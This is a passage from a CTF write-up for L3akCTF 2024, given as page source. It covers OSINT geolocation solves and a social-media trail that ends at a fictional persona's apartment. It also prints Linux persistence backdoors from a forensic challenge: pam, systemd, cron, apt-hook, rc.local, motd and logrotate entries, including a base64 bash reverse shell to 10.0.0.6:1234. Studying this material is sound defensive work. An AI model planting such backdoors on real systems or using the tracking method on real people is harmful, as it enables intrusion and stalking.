938    <span class="k">if</span> <span class="n">test_gates</span><span class="p">(</span><span class="n">trying</span><span class="p">,</span> <span class="n">cipher_bin</span><span class="p">):</span>
939      <span class="n">l_t</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">trying</span><span class="p">)</span>
940      <span class="n">ma_g</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">l_t</span><span class="p">),</span> <span class="mi">2</span><span class="p">))</span>
941      <span class="n">finals</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ma_g</span><span class="p">)</span>
942
943  <span class="n">h</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">finals</span><span class="p">)</span>
944
945  <span class="c1"># From hex to ASCII
946</span>  <span class="k">print</span><span class="p">(</span><span class="nb">bytearray</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">h</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"0x"</span><span class="p">,</span> <span class="s">""</span><span class="p">)).</span><span class="n">
946decode</span><span class="p">())</span>
947
948</code></pre></div></div>
949
950<p>And we get the flag:</p>
951
952<p align="center">
953  <img src="/images/writeups/L3akCTF2024/hw_3.png" width="60%" />
954</p>
955
956<p><code class="language-plaintext highlighter-rouge">L3AK{X0R_1s_EaS1lY_R3vErS1BLe!!}</code></p>
957
958<p><br /></p>
959
960<hr />
961
962<p><br /></p>
963
964<h1 id="osint-1">OSINT</h1>
965
966<h2 id="geosint-1---229-solves">Geosint-1 - [229 solves]</h2>
967<p>205
968Submit the flag for the corresponding challenge (chall1) here.</p>
969
970<p>The geosint platform can be found at: <a href="https://osint.buzz/">https://osint.buzz/</a></p>
971
972<p><em>Authors: 0x157 &amp; Suvoni</em></p>
973
974<p>For this challenge we land at a road with some sky scrapers at the end of it. With a river next to them, I started to think about New York 🇺🇸. Looking at the other side, we found a bridge.</p>
975
976<p align="center">
977  <img src="/images/writeups/L3akCTF2024/1_00_osint.png" width="70%" />
978</p>
979
980<p align="center">
981  <img src="/images/writeups/L3akCTF2024/1_0_osint.png" width="70%" />
982</p>
983
984<p>Using <a href="https://lens.google/">Google Lens</a> with the bringe on the frame, we find its name, confirming the New York hipothesis, so we just need to follow the road alongside the river and find the exact location:</p>
985
986<p align="center">
987  <img src="/images/writeups/L3akCTF2024/1_1_lens.png" width="70%" />
988</p>
989
990<p align="center">
991  <img src="/images/writeups/L3akCTF2024/1_1_flag.png" width="70%" />
992</p>
993
994<p><a href="https://www.google.es/maps/@40.6339557,-74.0388724,3a,75y,17.8h,85.17t/data=!3m6!1e1!3m4!1saNApxfW9xFykH8SOvtzyAA!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">Google Maps exact location</a></p>
995
996<p><code class="language-plaintext highlighter-rouge">L3AK{Verr4zz4n0_Br1dge_1s_pR3tty_c00l}</code></p>
997
998<p><br /></p>
999
1000<h2 id="geosint-2---164-solves">Geosint-2 - [164 solves]</h2>
1001<p>354
1002Submit the flag for the corresponding challenge (chall2) here.</p>
1003
1004<p>The geosint platform can be found at: https://osint.buzz/</p>
1005
1006<p><em>Authors: 0x157 &amp; Suvoni</em></p>
1007
1008<p>Looking at this position, we find different clues, first the cyrillic alphabet, then the ambulance number 103. A quick lookup will reduce the search to the <a href="https://en.wikipedia.org/wiki/List_of_emergency_telephone_numbers">countries with ambulance number 103</a>: 🇰🇿 Kazakhstan, 🇲🇳 Mongolia, 🇹🇯 Tajikistan and 🇹🇲 Turkmenistan.</p>
1009
1010<p align="center">
1011  <img src="/images/writeups/L3akCTF2024/2_0_ini.png" width="70%" />
1012</p>
1013
1014<p align="center">
1015  <img src="/images/writeups/L3akCTF2024/2_1_ini.png" width="70%" />
1016</p>
1017
1018<p>The most obvious clue was the Doner City restaurant. <a href="https://razvioverflow.github.io/">RazviOverflow</a> searched on Google Lens for the store and found the <a href="https://2gis.kz/karaganda/firm/70000001029160469?m=73.19371%2C49.864088%2F11.95">following result</a>:</p>
1019
1020<p align="center">
1021  <img src="/images/writeups/L3akCTF2024/2_2_lens.png" width="70%" />
1022</p>
1023
1024<p align="center">
1025  <img src="/images/writeups/L3akCTF2024/2_3_place.png" width="70%" />
1026</p>
1027
1028<p>We have now the <a href="https://www.google.es/maps/@49.8935726,73.2109379,3a,75y,106.2h,90.66t/data=!3m6!1e1!3m4!1sMwRp8u5JXHgheMOOIONnsQ!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">exact Google Maps location</a>, so look at the map at the platform and submit to get the flag:</p>
1029
1030<p><code class="language-plaintext highlighter-rouge">L3AK{@_Cr0SsR04Ds_1N_kaZAKh5t4N}</code></p>
1031
1032<p><br /></p>
1033
1034<h2 id="geosint-3---129-solves">Geosint-3 - [129 solves]</h2>
1035<p>460
1036The geosint platform can be found at: https://osint.buzz/</p>
1037
1038<p>Submit the flag for the corresponding challenge (chall3) here.</p>
1039
1040<p><em>Authors: 0x157 &amp; Suvoni</em></p>
1041
1042<p>In this challenge we land at an empty road, with the white sign and a light post number. The flag aims for the light post as the foothold for the challenge, but I took other ways to solve this one:</p>
1043
1044<p align="center">
1045  <img src="/images/writeups/L3akCTF2024/3_0_ini.png" width="70%" />
1046</p>
1047
1048<p align="center">
1049  <img src="/images/writeups/L3akCTF2024/3_1_ini.png" width="70%" />
1050</p>
1051
1052<p>We see some chinese letters on the white sign with red characters, and since Google Maps is not common on China, I took a guess into 🇹🇼 Taiwan. Looking to the numbers in the sign on Google, we find a company with those phone numbers:</p>
1053
1054<p>(037)720668
1055(037)722033</p>
1056
1057<p align="center">
1058  <img src="/images/writeups/L3akCTF2024/3_2_google.png" width="70%" />
1059</p>
1060
1061<p>The <a href="https://www.twfile.com/item.aspx?no=42584738&amp;sn=2030338">website</a> shows the location (use it’s chinise format 苗栗縣後龍鎮龍坑里17 for better results):</p>
1062
1063<p align="center">
1064  <img src="/images/writeups/L3akCTF2024/3_3_location.png" width="70%" />
1065</p>
1066
1067<p>Looking for 苗栗縣後龍鎮龍坑里17 on Maps, we got the following result, and in the same road, we can find that <a href="https://www.google.es/maps/@24.5890227,120.7
1067725047,3a,75y,356.19h,86.36t/data=!3m6!1e1!3m4!1sw0_ea0-KcicUahk5oO7A_w!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">exact Google Maps location</a>:</p>
1068
1069<p align="center">
1070  <img src="/images/writeups/L3akCTF2024/3_4_res.png" width="70%" />
1071</p>
1072
1073<p><code class="language-plaintext highlighter-rouge">L3AK{P0L3_NumB3R_7012}</code></p>
1074
1075<p><br /></p>
1076
1077<h2 id="geosint-4---84-solves">Geosint-4 - [84 solves]</h2>
1078<p>494
1079The geosint platform can be found at: https://osint.buzz/</p>
1080
1081<p>Submit the flag for the corresponding challenge (chall4) here.</p>
1082
1083<p><em>Authors: 0x157 &amp; Suvoni</em></p>
1084
1085<p>In this challenge, we have so little information. Still, on our team, we are familiar with this landscape and we can affirm that it was the Mediterranean Sea as soon as we see the images:</p>
1086
1087<p align="center">
1088  <img src="/images/writeups/L3akCTF2024/4_0_ini.png" width="70%" />
1089</p>
1090
1091<p align="center">
1092  <img src="/images/writeups/L3akCTF2024/4_1_ini.png" width="70%" />
1093</p>
1094
1095<p align="center">
1096  <img src="/images/writeups/L3akCTF2024/4_2_ini.png" width="70%" />
1097</p>
1098
1099<p>We have some clues, first, <a href="https://www.reddit.com/r/geoguessr/comments/lwa9wr/map_of_european_road_curve_chevron_signs/">the white over black arrow sign</a>, which closes the search to Spain, Italy, Malta and Greece (what we expected). Then, it is a road close to the sea, close to a city and the most important clue is the <strong>4 lanes witdh with no separation between the traffic flow</strong>. These 4 lanes roads with no separation are uncommon (at least on Spain and the Mediterranean tour me and my teammates did on GMaps).</p>
1100
1101<p align="center">
1102  <img src="/images/writeups/L3akCTF2024/4_2_sign.png" width="50%" />
1103</p>
1104
1105<p>We when all over Greece, Sicilia and Sardegna looking for 4 way lanes with same landscape a couple islands nearby and after some time, <a href="https://razvioverflow.github.io/">RazviOverflow</a> landed in the <a href="https://www.google.com/maps/@37.8083926,23.8006507,3a,75y,200.47h,86.15t/data=!3m6!1e1!3m4!1sOrHV34a389gUi6cPdXhD3w!2e0!7i16384!8i8192!5m1!1e2?entry=ttu">exact Google Maps point</a> where the image was taken:</p>
1106
1107<p align="center">
1108  <img src="/images/writeups/L3akCTF2024/4_3_map.png" width="70%" />
1109</p>
1110
1111<p><code class="language-plaintext highlighter-rouge">L3AK{GrEeCe_R0@DTr1P!}</code></p>
1112
1113<p>Here you have some interesting resources I discovered along the way:</p>
1114
1115<ul>
1116  <li><a href="http://www.worldlicenseplates.com/">Lincense plates</a></li>
1117  <li><a href="https://geohints.com/Cars">Google Car fingerprint</a></li>
1118</ul>
1119
1120<p><br /></p>
1121
1122<h2 id="gameplay-1---149-solves">Gameplay-1 - [149 solves]</h2>
1123<p>50
1124When me and my friend aren’t duoing CTFs, we like to play video games together. We left a trail of flags in the wake of our gaming antics, can you find them all? Here’s a clue to start you off: mch4cker1337</p>
1125
1126<p><em>Authors: Suvoni &amp; 0x157</em></p>
1127
1128<p>A quick search at Google, we will discover his friend’s YouTube channel, <a href="https://www.youtube.com/channel/UC-S_6ytFczS7dkjHTVM5v8A">Marini Craft</a>. He has a video of a Pro Minecraft GamePlay with the target <strong>mch4cker1337</strong> and it has description “Flag1”. Taking a closer look to the video, we can see that user <strong>mch4cker1337</strong> types characters at the chat during the gameplay. Take it easy and extract all characters from the gameplay in time order:</p>
1129
1130<p align="center">
1131  <img src="/images/writeups/L3akCTF2024/gameplay_0.png" width="70%" />
1132</p>
1133
1134<p><code class="language-plaintext highlighter-rouge">L3AK{M1n3Cr4ft_G4m3Pl4y_1th_M4rt1n!_Cr4Ft_1s_v3Ry_fun}</code></p>
1135
1136<p><br /></p>
1137
1138<h2 id="gameplay-2---65-solves">Gameplay-2 - [65 solves]</h2>
1139<p>316
1140It’s recommended to solve Gameplay-1 before you can solve this challenge.</p>
1141
1142<p><em>Authors: Suvoni &amp; 0x157</em></p>
1143
1144<p>Going deep on the search, there is a comment from the target <strong>mch4cker1337</strong> on the video with his <a href="https://www.reddit.com/user/Feisty-Schedule1097/">Reddit account</a>.</p>
1145
1146<p align="center">
1147  <img src="/images/writeups/L3akCTF2024/gameplay_2_comment.png" width="70%" />
1148</p>
1149
1150<ul>
1151  <li>Youtube: https://www.youtube.com/@mch4cker1337</li>
1152  <li>Reddit: https://www.reddit.com/user/Feisty-Schedule1097/</li>
1153</ul>
1154
1155<p>On his reddit, we can see many deleted comments. On <a href="https://web.archive.org/">wayback machine</a> there is no clue, so we tried <a href="https://old.reddit.com/user/Feisty-Schedule1097/">old.reddit.com</a> and found a discord server link:</p>
1156
1157<p align="center">
1158  <img src="/images/writeups/L3akCTF2024/gameplay_2_rem.png" width="70%" />
1159</p>
1160
1161<p>Deleted posts were still on old.reddit.com:</p>
1162
1163<p align="center">
1164  <img src="/images/writeups/L3akCTF2024/gameplay_2_dis.png" width="70%" />
1165</p>
1166
1167<p>On the discord server we found the flag on the channel description:</p>
1168
1169<p align="center">
1170  <img src="/images/writeups/L3akCTF2024/gameplay_2_flag.png" width="70%" />
1171</p>
1172
1173<p><code class="language-plaintext highlighter-rouge">L3AK{Th3_g4M1nG_TrA1L_LeD_Y0u_heR3}</code></p>
1174
1175<p><br /></p>
1176
1177<h2 id="gameplay-3---34-solves">Gameplay-3 - [34 solves]</h2>
1178<p>451
1179You have to solve Gameplay-2 before you can solve this challenge.</p>
1180
1181<p><em>Authors: Suvoni &amp; 0x157</em></p>
1182
1183<p>In the Discord server, we dive in previous conversation and find the following photo, talking about both guys playing chess online:</p>
1184
1185<p align="center">
1186  <img src="/images/writeups/L3akCTF2024/gameplay_3_0.png" width="70%" />
1187</p>
1188
1189<p>We looked for the <strong>m4rt1nicraft</strong> nick in <a href="https://www.chess.com/">chess.com</a>, the most famous website for playing chess and found <a href="https://www.chess.com/member/m4rt1nicraft">his profile</a>.
1190On Discord, his mate calls for some sensitive info leak on his chess profile, so we look into wayback machine:</p>
1191
1192<ul>
1193  <li>Chess.com: https://www.chess.com/member/m4rt1nicraft</li>
1194</ul>
1195
1196<p align="center">
1197  <img src="/images/writeups/L3akCTF2024/gameplay_3_0_info.png" width="60%" />
1198</p>
1199
1200<p>On <a href="https://web.archive.org/web/20240520023121/https://www.chess.com/member/m4rt1nicraft">Wayback</a> we find his email address:</p>
1201
1202<p align="center">
1203  <img src="/images/writeups/L3akCTF2024/gameplay_3_1_mail.png" width="70%" />
1204</p>
1205
1206<p>Using his email on the calendar URL, se can see a public meeting: <a href="https://calendar.google.com/calendar/u/0/[email protected]">https://calendar.google.com/calendar/u/0/[email protected]</a>. We can also try with his Google user ID to search Google Maps contributions, but there was nothing in there. Here we see the public meeting:</p>
1207
1208<p align="center">
1209  <img src="/images/writeups/L3akCTF2024/gameplay_3_2_cal.png" width="70%" />
1210</p>
1211
1212<p>With the <a href="https://www.instagram.com/tf4rc_1n1tr4m_733132/">instagram link</a>, we can access and see the flag on the public pictures:</p>
1213
1214<ul>
1215  <li>Instagram: https://www.instagram.com/tf4rc_1n1tr4m_733132/</li>
1216</ul>
1217
1218<p align="center">
1219  <img src="/images/writeups/L3akCTF2024/gameplay_3_flag.png" width="70%" />
1220</p>
1221
1222<p><code class="language-plaintext highlighter-rouge">L3AK{1NsT4grAm_AcC0uNT_R3Cov3rY!}</code></p>
1223
1224<p><br /></p>
1225
1226<h2 id="gameplay-4---22-solves">Gameplay-4 - [22 solves]</h2>
1227<p>500
1228For this challenge, submit the name of the apartment complex in the flag wrapper L3AK{}. All lowercase, no spaces.</p>
1229
1230<p>Example Flag: L3AK{1337apartmentcomplex}</p>
1231
1232<p><em>Authors: Suvoni &amp; 0x157</em></p>
1233
1234<p>Let’s get to the fun part 😉</p>
1235
1236<p>We can grab some information from previous sources. From <a href="https://www.instagram.com/p/C7Pis2vviRS/?img_index=1">Martini Craft’s latest instagram post</a> we extract the following clue:</p>
1237
1238<p><em>I absolutely love Atwood’s Pizza! I had the Lazy Cat specialty pizza with my CTF team and it was delicious!
1239I took my school’s Gold Route bus to get here from campus, although I usually take a different bus route to get from my apartment to campus.
1240Anyways, I would highly recommend this place to other students living in the area!</em></p>
1241
1242<p align="center">
1243  <img src="/images/writeups/L3akCTF2024/gameplay_4_0.png" width="70%" />
1244</p>
1245
1246<p align="center">
1247  <img src="/images/writeups/L3akCTF2024/gameplay_4_1.png" width="70%" />
1248</p>
1249
1250<p>We searched for <a href="https://www.google.es/maps/@33.7775399,-84.3871781,3a,75y,140.39h,102.17t/data=!3m6!1e1!3m4!1sJuURJvHRz4F4Cs-CsZLfWQ!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">Atwood’s Pizza</a> at Google and there was not so much information such as reviews or something. We had to keep up the investigation taking note of the “Gold Route bus” hint.</p>
1251
1252<p>going back to the conversation on Discord, we can assume Martini Craft lives near the building in the picture:</p>
1253
1254<p align="center">
1255  <img src="/images/writeups/L3akCTF2024/gameplay_4_dis.png" width="70%" />
1256</p>
1257
1258<p>Using Google Lens we see that it refers to the <a href="https://en.wikipedia.org/wiki/CODA_(mixed-use_development)">Coda building</a> in Atlanta, close to the aforementioned <a href="https://www.google.es/maps/@33.7775399,-84.3871781,3a,75y,140.39h,102.17t/data=!3m6!1e1!3m4!1sJuURJvHRz4F4Cs-CsZLfWQ!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">Atwood’s Pizza</a>. This is the exact <a href="https://www.google.es/maps/@33.7767032,-84.388816,3a,75y,180.48h,104.95t/data=!3m6!1e1!3m4!1suVB5RB5zUK2w2eh2RFnyOQ!2e0!7i16384!8i8192?hl=es&amp;entry=ttu">Google Maps location</a>.</p>
1259
1260<p align="center">
1261  <img src="/images/writeups/L3akCTF2024/gameplay_4_coda.png" width="70%" />
1262</p>
1263
1264<p>On the Instagram post it says he uses the <strong>Gold Route bus</strong>
1264 line to get to Atwood’s Pizza from the Campus, but <strong>uses other lane to go from Campus to his Apartment</strong>. Looking for the Gold Bus line, we find the <a href="https://www.pts.gatech.edu/shuttles/stinger/">following map</a> with the campus bus lines that will help us in the task:</p>
1265
1266<p align="center">
1267  <img src="/images/writeups/L3akCTF2024/map.png" width="70%" />
1268</p>
1269
1270<p>Next, we keep digging for more clues at Discord. In the conversation he provides more hints for his location:</p>
1271
1272<p align="center">
1273  <img src="/images/writeups/L3akCTF2024/gameplay_4_comments.png" width="70%" />
1274</p>
1275
1276<p>Time to connect the dots. We search for <a href="https://www.google.com/maps/search/subway/@33.7810051,-84.4015342,15z/data=!3m1!4b1?entry=ttu">Subway Restaurants</a> and <a href="https://www.google.com/maps/search/gas+station/@33.7809803,-84.4015342,15.5z?entry=ttu">Gas stations</a> on Google Map and use the bus route map to connect the hints:</p>
1277
1278<ul>
1279  <li>🟣 G: Gas Station</li>
1280  <li>🟢 S: Subway Restaurants</li>
1281  <li>🔴 P: Atwood’s Pizza</li>
1282  <li>🔵 Ph: Where discord photo was taken</li>
1283</ul>
1284
1285<p align="center">
1286  <img src="/images/writeups/L3akCTF2024/gameplay_4_map.png" width="70%" />
1287</p>
1288
1289<p>Looking to the different options, we tried all the apartments at the right side of the map, due to the hint on Discord that quotes: <em>“here’s a hint, I live relatively close to here 🤫”</em> refering to the Coda building, so we spent so much time there with no success.</p>
1290
1291<p>Ten minutes before the CTF finished, I decided to step away from that “near the Coda building” hint and looked to the top of the map, the Green route bus. Since it says <em>“There’s a gas station across from my place if you need to refuel after your long drive 👍”</em> and <em>“if we get hungry, we can go to the Subway down the street”</em>, I selected the building in front of the gas station on the <strong>Green Bus campus line</strong> and we got the correct apartment:</p>
1292
1293<p align="center">
1294  <img src="/images/writeups/L3akCTF2024/rich_map.png" width="70%" />
1295</p>
1296
1297<p>Building, <a href="https://www.google.es/maps/place/The+Local+on+14th/@33.7857855,-84.403718,17.78z/data=!4m9!1m2!2m1!1sgas+station!3m5!1s0x88f504f400f6f29d:0x260e8e6779f8925e!8m2!3d33.7865179!4d-84.4023624!16s%2Fg%2F11c459zxtd?hl=es&amp;entry=ttu">Google Maps flag location</a>:</p>
1298
1299<p align="center">
1300  <img src="/images/writeups/L3akCTF2024/gameplay_4_flag.png" width="70%" />
1301</p>
1302
1303<p><code class="language-plaintext highlighter-rouge">L3AK{thelocalon14th}</code></p>
1304
1305<p><br /></p>
1306
1307<hr />
1308
1309<p><br /></p>
1310
1311<h1 id="forensic-1">Forensic</h1>
1312
1313<h2 id="holdontight---68-solves">HoldOnTight - [68 solves]</h2>
1314<p>298
1315linux persistence
1316Hacking is all about persistence</p>
1317
1318<p><em>Author: vivisghost</em></p>
1319
1320<p>nc 35.229.44.203 3666</p>
1321
1322<p>They provide us with an <strong>/etc</strong> folder. We looked for different persistence techniques I’ve seen on other pentesting tasks:</p>
1323
1324<ul>
1325  <li>pam.d/sudo</li>
1326</ul>
1327
1328<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>pam.d/sudo        
1329<span class="c">#%PAM-1.0</span>
1330
1331<span class="c"># Set up user limits from /etc/security/limits.conf.</span>
1332session    required   pam_limits.so
1333
1334session    required   pam_env.so <span class="nv">readenv</span><span class="o">=</span>1 <span class="nv">user_readenv</span><span class="o">=</span>0
1335session    required   pam_env.so <span class="nv">readenv</span><span class="o">=</span>1 <span class="nv">envfile</span><span class="o">=</span>/etc/default/locale <span class="nv">user_readenv</span><span class="o">=</span>0
1336
1337<span class="c"># CantStopWontStop</span>
1338session optional pam_exec.so /tmp/backdoor.sh
1339
1340<span class="c">#L#3#a#k#{#5#u#p#3#r#_#5#h#3#1#1#_#u#5#3#r#}</span>
1341@include common-auth
1342@include common-account
1343@include common-session-noninteractive
1344</code></pre></div></div>
1345
1346<ul>
1347  <li>systemd/system/backdoor.service</li>
1348</ul>
1349
1350<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>systemd/system/backdoor.service
1351<span class="o">[</span>Unit]
1352<span class="nv">Description</span><span class="o">=</span>Malware Service Example
1353<span class="nv">After</span><span class="o">=</span>network.target
1354
1355<span class="o">[</span>Service]
1356<span class="nv">Type</span><span class="o">=</span>simple
1357<span class="nv">ExecStart</span><span class="o">=</span>/tmp/backdoor.sh
1358<span class="nv">Restart</span><span class="o">=</span>on-failure
1359<span class="nv">User</span><span class="o">=</span>root <span class="c">#}r3m1T_dn@_3c1vr35{ka3L</span>
1360
1361<span class="o">[</span>Install]
1362<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
1363</code></pre></div></div>
1364
1365<ul>
1366  <li>crontab</li>
1367</ul>
1368
1369<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>crontab                      
1370
1371<span class="nv">SHELL</span><span class="o">=</span>/bin/sh
137217 <span class="k">*</span>    <span class="k">*</span> <span class="k">*</span> <span class="k">*</span>
1372   root    <span class="nb">cd</span> / <span class="o">&amp;&amp;</span> run-parts <span class="nt">--report</span> /etc/cron.hourly
137325 6    <span class="k">*</span> <span class="k">*</span> <span class="k">*</span>   root    <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&amp;&amp;</span> run-parts <span class="nt">--report</span> /etc/cron.daily <span class="o">)</span>
137447 6    <span class="k">*</span> <span class="k">*</span> 7   root    <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&amp;&amp;</span> run-parts <span class="nt">--report</span> /etc/cron.weekly <span class="o">)</span>
137552 6    1 <span class="k">*</span> <span class="k">*</span>   root    <span class="nb">test</span> <span class="nt">-x</span> /usr/sbin/anacron <span class="o">||</span> <span class="o">(</span> <span class="nb">cd</span> / <span class="o">&amp;&amp;</span> run-parts <span class="nt">
1375--report</span> /etc/cron.monthly <span class="o">)</span>
1376<span class="k">*</span>/5 <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> root /tm<span class="s1">'p/b'</span>ac<span class="s1">'kd'</span>oor.sh
1377<span class="c">#L'3a'k{Cr0n5'_50'_C71'ch3}'</span>
1378</code></pre></div></div>
1379
1380<ul>
1381  <li>/etc/apt/apt.conf.d</li>
1382</ul>
1383
1384<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/apt/apt.conf.d
1385<span class="nb">cat </span>100holdon    
1386<span class="c">#TDNha3s0cDdfSW41NzQxMV81aDMxMX0=</span>
1387DPKG::Post-Invoke <span class="o">{</span><span class="s2">"file=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s1">'YmFja2Rvb3Iuc2g='</span>|base64 <span class="nt">-d</span><span class="si">)</span><span class="s2">; echo 'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo=' |base64 -d &gt; /tmp/</span><span class="nv">$file</span><span class="s2">;chmod +x /tmp/</span><span class="nv">
1387$file</span><span class="s2">;/tmp/</span><span class="nv">$file</span><span class="s2">"</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>
1388</code></pre></div></div>
1389
1390<ul>
1391  <li>init.d</li>
1392</ul>
1393
1394<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash S01stillhere.sh start
1395L3ak<span class="o">{</span>initd_2_b0075<span class="o">}</span>
1396</code></pre></div></div>
1397
1398<ul>
1399  <li>rc.local</li>
1400</ul>
1401
1402<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>rc.local 
1403<span class="c">#!/bin/bash</span>
1404
1405<span class="nv">ENCODED_ArcaneGate_PATH</span><span class="o">=</span><span class="s2">"L3RtcC9iYWNrZG9vci5zaA=="</span>
1406<span class="nv">ArcaneGate_PATH</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$ENCODED_ArcaneGate_PATH</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">
1406--decode</span><span class="si">)</span>
1407<span class="nv">ArcaneGate_BASE64</span><span class="o">=</span><span class="s1">'IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC42LzEyMzQgMD4mMQo='</span>
1408
1409<span class="c"># Check if the ArcaneGate script exists, if not, recreate it from the Base64 string</span>
1410<span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
1411    </span><span class="nb">echo</span> <span class="s2">"ArcaneGate script not found, recreating..."</span>
1412    <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$ArcaneGate_BASE64</span><span class="s2">"</span> | <span class="nb">base64</span> <span class="nt">--decode</span> <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span>
1413    <span class="nb">chmod</span> +x <span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span>
1414<span class="k">fi</span>
1415
1416<span class="c"># The Specter that Steers Your Spirit</span>
1417<span class="c">## In the shadowed alcoves of ancient libraries where the whispers of the past linger like morning fog,</span>
1418<span class="c">## there lies a tome, bound not in leather but in the mysteries of the ether itself.</span>
1419<span class="c">## The first chapter, "The Specter that Steers Your Spirit," reveals how one may</span>
1420<span class="c">## summon and commune with the ghostly essences that drift through the veils of our world. </span>
1421<span class="c">## TDNha3tyY19sMGM0bF8wbl9iMDB0fQ==</span>
1422
1423<span class="c"># Execute the ArcaneGate script</span>
1424<span class="s2">"</span><span class="nv">$ArcaneGate_PATH</span><span class="s2">"</span>
1425
1426<span class="nb">exit </span>0
1427</code></pre></div></div>
1428
1429<ul>
1430  <li>/etc/update-motd.d/00-header</li>
1431</ul>
1432
1433<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/update-motd.d/00-header
1434
1435<span class="c">#!/bin/sh</span>
1436<span class="o">[</span> <span class="nt">-r</span> /etc/lsb-release <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="nb">.</span> /etc/lsb-release
1437
1438<span class="k">if</span> <span class="o">[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$DISTRIB_DESCRIPTION</span><span class="s2">"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="nt">-x</span> /usr/bin/lsb_release <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
1439  <span class="c"># Fall back to using the very slow lsb_release utility</span>
1440  <span class="nv">DISTRIB_DESCRIPTION</span><span class="o">=</span><span class="si">$(</span>lsb_release <span class="nt">-s</span> <span class="nt">-d</span><span class="si">)</span>
1441<span class="k">fi
1442
1443</span><span class="nb">printf</span> <span class="s2">"Welcome to %s (%s %s %s)</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$DISTRIB_DESCRIPTION</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-o</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-r</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span><span class="s2">"</span>
1444
1445<span class="nb">echo</span> <span class="s1">'2f746d702f6261636b646f6f722e73682026'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span> | bash
1446<span class="c"># echo '4c33616b7b35683331315f30665f3768335f4434797d0a' | xxd -r -p</span>
1447</code></pre></div></div>
1448
1449<ul>
1450  <li>logrotate.d/rsyslog</li>
1451</ul>
1452
1453<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/syslog
1454/var/log/mail.info
1455/var/log/mail.warn
1456/var/log/mail.err
1457/var/log/mail.log
1458/var/log/daemon.log
1459/var/log/kern.log
1460/var/log/auth.log
1461/var/log/user.log
1462/var/log/lpr.log
1463/var/log/cron.log
1464/var/log/debug
1465/var/log/messages
1466<span class="o">{</span>
1467  rotate 4
1468  weekly
1469  missingok
1470  notifempty
1471  compress
1472  delaycompress
1473  sharedscripts
1474  postrotate
1475    /usr/lib/rsyslog/rsyslog-rotate
1476                <span class="c"># Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d</span>
1477                <span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s1">'2f746d702f6261636b646f6f722e7368'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span><span class="si">)</span>
1478  endscript
1479<span class="o">}</span>
1480</code></pre></div></div>
1481
1482<p>The compilation of the file:</p>
1483
1484<p>1 - L3ak{5up3r_5h311_u53r}</p>
1485
1486<p>2 - L3ak{53rv1c3_@nd_T1m3r}</p>
1487
1488<p>3 - L3ak{Cr0n5_50_C71ch3}</p>
1489
1490<p>4 - L3ak{4p7_In57411_5h311}</p>
1491
1492<p>5 - L3ak{initd_2_b0075}</p>
1493
1494<p>6 - L3ak{rc_l0c4l_0n_b00t}</p>
1495
1496<p>7 - L3ak{5h311_0f_7h3_D4y}</p>
1497
1498<p>8 - L3ak{10g_7h47_5h311}</p>
1499
1500<p>We input the flags in the nc listener and we get the final flag:</p>
1501
1502<p><code class="language-plaintext highlighter-rouge">L3AK{C4nt_570p_W0n7_570p_p3rs1st}</code></p>
1503
